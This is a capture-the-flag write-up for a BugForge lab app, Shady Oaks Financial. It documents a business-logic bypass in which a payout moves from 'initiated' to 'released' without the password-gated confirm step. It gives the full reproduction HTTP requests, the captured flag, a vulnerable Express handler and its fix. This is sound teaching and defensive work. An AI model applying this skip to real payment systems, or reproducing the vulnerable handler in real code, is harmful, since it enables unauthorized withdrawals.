BugForge — 2026.10.30

Shady Oaks Financial: Payout Release Step-Skip

BugForge Workflow Step-Skip on Payout Release easy

Shady Oaks Financial (Payout Release Step-Skip) (BugForge)

Executive Summary

Shady Oaks Financial is a stock trading and money transfer application on the BugForge platform, built as a React single-page application over a Node/Express JSON API with JWT (HS256) authentication. This rotation shipped a new payout feature: a withdrawal flow that runs initiate, then confirm, then release, with a password re-entry gate on the middle step. Testing confirmed that the release step enforces no precondition on the payout’s status. A payout sitting in initiated transitions straight to released when the release endpoint is called, skipping the password-gated confirm step entirely, and the bypass response carries a compliance_reference field that the legitimate-path release response does not.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Payout release executes without the confirm step (state-machine bypass) High 7.1 CWE-841, CWE-840 POST /api/payouts/:id/release

Objective

Locate and exploit the planted vulnerability in the Shady Oaks Financial lab and capture the flag. The platform supplied the hint “Multi-step sequences are always buggy.”

Scope / Initial Access

# Target Application
URL: https://lab-1793388230968-6qal27.labs-app.bugforge.io/

# Auth details
Open registration: POST /api/register {username, email, password, full_name}
JWT HS256 Bearer, claims {id, username, role, iat}
Starting privileges: role=user, balance_eur=1000

Reconnaissance: Diffing the Bundle Against the Prior Rotations

The frontend bundle was fingerprinted and its endpoint surface diffed against the engagement dossier before any request was sent.

  1. The bundle main.5600c8f1.js (md5 162cb09efe0be3ed1689d1233e9a0162) matched neither of the two alternating bundles recorded in the dossier (9f64fa94, 799d296b), so this rotation is neither of the known reruns. On this target the md5-vs-prior-bug check predicts whether the inherited chain is worth firing first; a mismatch predicts new surface.
  2. The bundle diff surfaced endpoints the dossier had never seen: GET/POST /api/payouts, POST /api/payouts/:id/confirm {password}, POST /api/payouts/:id/release, POST /api/forgot-password {email}, POST /api/reset-password {token,new_password}, and DELETE /api/alerts/:id.
  3. The payouts surface is an ordered flow whose middle step carries a client-supplied gate ({password} on confirm) and whose outcome is money movement. That matches the supplied hint about multi-step sequences, so it took priority over the two-step password reset flow.
  4. The carried surface (stocks, trade, convert-currency, profile, portfolio, forecast, admin routes) was unchanged from the dossier. The SQLi sweep and the other inherited test chains were not re-run this session; the dossier’s “as of 08-04” rows are now stale for the next rotation.

Application Architecture

Component Detail
Backend Node/Express, JSON API under /api
Frontend React SPA, CRA build (main.5600c8f1.js)
Auth JWT HS256 Bearer {id, username, role, iat}
Currencies EUR (1000 starting), USD, GBP
CORS Access-Control-Allow-Origin: *

API Surface (new this rotation)

Endpoint Method Auth Notes
/api/payouts GET Yes List own payouts
/api/payouts POST Yes {amount, iban}; creates payout, status initiated
/api/payouts/:id/confirm POST Yes {password}; advances initiated to confirmed
/api/payouts/:id/release POST Yes Advances to released; no status precondition (F1)
/api/forgot-password POST No {email}; mapped from bundle, never probed
/api/reset-password POST No {token, new_password}; mapped from bundle, never probed
/api/alerts/:id DELETE Yes New verb; ownership check untested

Attack Chain Visualization

┌────────────────────────────┐     ┌────────────────────────────┐     ┌────────────────────────────┐     ┌────────────────────────────┐
│ POST /api/register         │     │ POST /api/payouts          │     │ POST /api/payouts/1/confirm│     │ POST /api/payouts/2/release│
│ returns a JWT for a fresh  │ ──▶ │ {amount:50, iban} creates  │ ──▶ │ {password}: wrong and empty│ ──▶ │ {} while status is still   │
│ role=user account (id 4)   │     │ payout id 2, status        │     │ both return 401, so the    │     │ "initiated": 200, status   │
│                            │     │ "initiated"                │     │ gate itself is solid       │     │ "released", flag in        │
│                            │     │                            │     │                            │     │ compliance_reference       │
└────────────────────────────┘     └────────────────────────────┘     └────────────────────────────┘     └────────────────────────────┘

Findings

F1: Payout Release Executes Without the Confirm Step (State-Machine Bypass)

Severity: High CVSS v3.1: 7.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N) CWE: CWE-841 (Improper Enforcement of Behavioral Workflow), CWE-840 (Business Logic Errors) Endpoint: POST /api/payouts/:id/release Authentication required: Yes (any authenticated user, self-registered)

Description

The payout flow is a three-step ordered sequence. POST /api/payouts creates a payout in status initiated and its own response advertises the contract: "Withdrawal initiated. Confirm it to authorise the transfer." POST /api/payouts/:id/confirm {password} is the authorization step, and its password check is implemented correctly. POST /api/payouts/:id/release is the step that moves the money, and it is the step that carries no precondition: it accepts a payout in any prior state, including initiated, and transitions it straight to released.

Two facts scope the defect precisely:

  1. The confirm gate is solid. Wrong password and empty password both return 401 {"error":"Password confirmation failed"}; the correct password returns 200 and advances the payout to confirmed. The flaw is not a weak or bypassable check on the middle step.
  2. The release step never consults the status. A release call against a payout that never went through confirm returns 200 with "status":"released". The per-step validation exists on every step; what is missing is the transition precondition that ties release to the confirmed state.
  3. Cross-user access was not tested. Every payout in this session belonged to the authenticated account, so this finding covers the missing transition precondition only; whether release and confirm scope to the owning user is unknown.

The bypass path also differs observably from the legitimate path in what it returns. The release response on the bypass path carries a compliance_reference field; the release of a payout that had been properly confirmed returns the same shape minus that field. A corroboration capture of a legitimate-path release backs this: same response shape, no compliance_reference occurrence. Both observations are single samples per path, so the field correlates with the bypass path on the observed pair of releases; whether it correlates with the from-status rather than the bypass itself was not tested.

Impact

Any registered user can release their own payout without the password re-authorization the flow requires, moving funds through the withdrawal rail unconfirmed. The bypass response additionally discloses a compliance_reference value that the normal flow withholds.

Reproduction

Step 1: Register an ordinary account.

POST /api/register HTTP/1.1
Host: lab-1793388230968-6qal27.labs-app.bugforge.io
Content-Type: application/json

{"username":"darktooth","email":"[email protected]","password":"Passw0rd!23","full_name":"Dark Tooth"}

Response: 200 with a JWT and {"user":{"id":4,"username":"darktooth","role":"user","balance_eur":1000}}. The token claims {id:4, username:"darktooth", role:"user"}.

Step 2: Create a payout.

POST /api/payouts HTTP/1.1
Host: lab-1793388230968-6qal27.labs-app.bugforge.io
Authorization: Bearer <JWT from step 1>
Content-Type: application/json

{"amount":50,"iban":"DE005555666677778888"}

Response: 200:

{"id":2,"status":"initiated","message":"Withdrawal initiated. Confirm it to authorise the transfer."}

The payout exists in initiated and the response advertises the ordering contract the release step fails to enforce.

Step 3: Characterize the confirm gate before attempting the skip. Payout 1 (amount 100) was created in an earlier probe in the same session and belongs to the same account; it serves as the gate-characterization target so payout 2 stays untouched for the skip test.

POST /api/payouts/1/confirm HTTP/1.1
Host: lab-1793388230968-6qal27.labs-app.bugforge.io
Authorization: Bearer <JWT from step 1>
Content-Type: application/json

{"password":"wrongpass"}

Response: 401 {"error":"Password confirmation failed"}. An empty password returns the same 401; the correct password returns 200 and advances payout 1 to confirmed. The gate on the middle step is real, which establishes that the exploitable defect must be the transition enforcement on release.

Step 4: Release the payout from initiated, skipping confirm.

POST /api/payouts/2/release HTTP/1.1
Host: lab-1793388230968-6qal27.labs-app.bugforge.io
Authorization: Bearer <JWT from step 1>
Content-Type: application/json

{}

Response: 200:

{"id":2,"status":"released","amount":50,"message":"Withdrawal released to your bank account.","compliance_reference":"bug{inLmgnaKJvbzw2yTvu87UpIwAsdEpvnk}"}

Payout 2 went from initiated to released in a single call with no confirm request anywhere in the session, and the flag is in the compliance_reference field.

Step 5: Corroborate that the flag delivery is bypass-only.

POST /api/payouts/1/release HTTP/1.1
Host: lab-1793388230968-6qal27.labs-app.bugforge.io
Authorization: Bearer <JWT from step 1>
Content-Type: application/json

{}

Response: 200:

{"id":1,"status":"released","amount":100,"message":"Withdrawal released to your bank account."}

Payout 1 had been properly confirmed in step 3, so this is the legitimate path. The response shape is identical to the bypass response except that compliance_reference is absent, consistent with the field being tied to the bypass path on the observed pair of releases.

Remediation

Fix 1: Enforce the transition precondition on release, atomically, with ownership scoping.

// BEFORE (Vulnerable)
app.post('/api/payouts/:id/release', authenticateToken, (req, res) => {
  const payout = db.get('SELECT * FROM payouts WHERE id = ?', [req.params.id]);
  if (!payout) return res.status(404).json({ error: 'Payout not found' });
  // no status check: any state transitions straight to released
  db.run('UPDATE payouts SET status = ? WHERE id = ?', ['released', payout.id]);
  ...
});

// AFTER (Secure)
app.post('/api/payouts/:id/release', authenticateToken, (req, res) => {
  // single conditional UPDATE: the transition precondition and the write
  // share one statement, so no window exists between check and update
  const result = db.run(
    "UPDATE payouts SET status = 'released' WHERE id = ? AND user_id = ? AND status = 'confirmed'",
    [req.params.id, req.user.id]
  );
  if (result.changes === 0) {
    const payout = db.get('SELECT * FROM payouts WHERE id = ?', [req.params.id]);
    if (!payout) return res.status(404).json({ error: 'Payout not found' });
    if (payout.user_id !== req.user.id) return res.status(403).json({ error: 'Forbidden' });
    return res.status(409).json({ error: 'Payout must be confirmed before release' });
  }
  ...
});

Additional recommendations:

  • Verify that confirm and release scope to the owning user. Cross-user payout access was untested this session; the ownership clause in the fix assumes it should exist and should be confirmed against the real handler.
  • Model the flow as an explicit transition table (which status may follow which) and drive every state-changing endpoint from it, rather than scattering per-endpoint status checks. A table makes the missing edge visible at review time.
  • Return 409 Conflict on out-of-order transitions so both attackers and legitimate clients get an unambiguous signal.
  • Regression test each transition endpoint from every non-canonical prior state; per-step gate tests (correct/wrong password) do not cover the missing precondition.

OWASP Top 10 Coverage

  • A04:2021 Insecure Design: The payout workflow was designed with per-step validation but without transition preconditions between the steps, so the ordering the UI and the confirm message advertise is not enforced server-side.

Tools Used

Tool Purpose
curl through the Caido intercepting proxy All request/response capture
Bundle static analysis md5 fingerprint against prior rotations, endpoint x verb diff against the dossier

References

Failed Approaches

Approach Result Why It Failed
Bypassing the confirm password check (wrong password, empty password) 401 {"error":"Password confirmation failed"} on both The gate itself is correctly implemented; the exploitable defect is the missing transition precondition on release, so the skip route was taken instead
Delivering the flag through a legitimate-path release 200 released, no compliance_reference in the response The field appears only on the bypass path; the legitimate release of a confirmed payout does not carry it

Tags: #bugforge #shady-oaks #state-machine #workflow-bypass #business-logic #financial-logic #webapp Document Version: 1.0 Last Updated: 2026-10-30

#bugforge #webapp #business-logic #state-machine #workflow-bypass #cwe-841